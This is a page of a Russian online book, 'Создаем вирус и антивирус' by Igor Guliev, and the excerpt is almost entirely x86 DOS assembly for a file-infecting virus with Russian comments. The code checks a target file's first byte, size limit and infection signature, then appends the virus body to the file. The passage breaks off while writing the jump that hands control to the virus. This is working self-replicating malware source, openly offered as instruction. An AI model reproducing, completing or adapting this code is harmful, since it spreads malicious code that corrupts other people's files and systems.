Создаем вирус и антивирус. Игорь Гульев

Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 4

Создаем вирус и антивирус - Игорь Гульев

Скачать книгу

See_Him

      jmp exit

      ;Читаем первый байт файла

      See_Him:

      xchg bx,ax

      mov ah,3Fh

      mov dx,offset buf–offset myself

      add dx,bp

      xor cx,cx ;CX=0

      inc cx ;(увеличение на 1) CX=1

      int 21h

      ;Сравниваем. Если первый байт файла

      ;не E9h, то переходим к поиску следующего файла –

      ;этот для заражения не подходит

      cmp byte ptr [bp+(offset buf–offset myself)],0E9h

      jne find_next

      ;Переходим в начало файла

      mov ax,4200h

      xor cx,cx

      xor dx,dx

      int 21h

      ;Читаем первые три байта файла в тело вируса

      See_Him2:

      mov ah,3Fh

      mov dx,offset bytes_3–offset myself

      add dx,bp

      mov cx,3

      int 21h

      ;Получаем длину файла, для чего переходим в конец файла

      Testik:

      mov ax,4202h

      xor cx,cx

      xor dx,dx

      int 21h

      Size_test:

      ;Сохраняем полученную длину файла

      mov [bp+(offset flen−offset MySelf)],ax

      ;Проверяем длину файла

      cmp ax,64000

      ;Если файл не больше 64000 байт,– переходим

      ;к следующей проверке,

      ;иначе ищем другой файл (этот слишком велик для заражения)

      jna rich_test

      jmp find_next

      ;Проверим, не заражен ли файл.

      ;Для этого проверим сигнатуру вируса

      Rich_test:

      ;Переходим в конец файла (на последний байт)

      mov ax,4200h

      xor cx,cx

      mov dx,[bp+(offset flen−offset MySelf)]

      dec dx

      int 21h

      ;Читаем сигнатуру вируса

      Read:

      mov ah,3Fh

      xor cx,cx

      inc cx

      mov dx,offset bytik–offset myself

      add dx,bp

      int 21h

      ;Если при чтении файла ошибок

      ;не произошло – проверяем сигнатуру,

      ;иначе ищем следующий файл

      jnc test_bytik

      jmp find_next

      ;Проверяем сигнатуру

      Test_bytik:

      cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

      ;Если сигнатура есть, то ищем другой файл,

      ;если нет – будем заражать

      jne Not_infected

      jmp find_next

      ;Файл не заражен – будем заражать

      Not_infected:

      mov ax,[bp+(offset flen−offset myself)]

      sub ax,03h

      mov [bp+(offset jmp_cmd−offset myself)],ax

      I_am_copy:

      ;Переходим в конец файла

      mov ax,4202h

      xor cx,cx

      xor dx,dx

      int 21h

      ;Устанавливаем регистр DS на сегмент кода

      push cs

      pop ds

      ;Копируем вирус в файл

      mov ah,40h

      mov cx,offset VirEnd–offset la

      mov dx,bp

      sub dx,offset myself−offset la

      int 21h

      ;Записываем в начало файла переход на тело вируса

      Write_Jmp:

      ;Переходим

Скачать книгу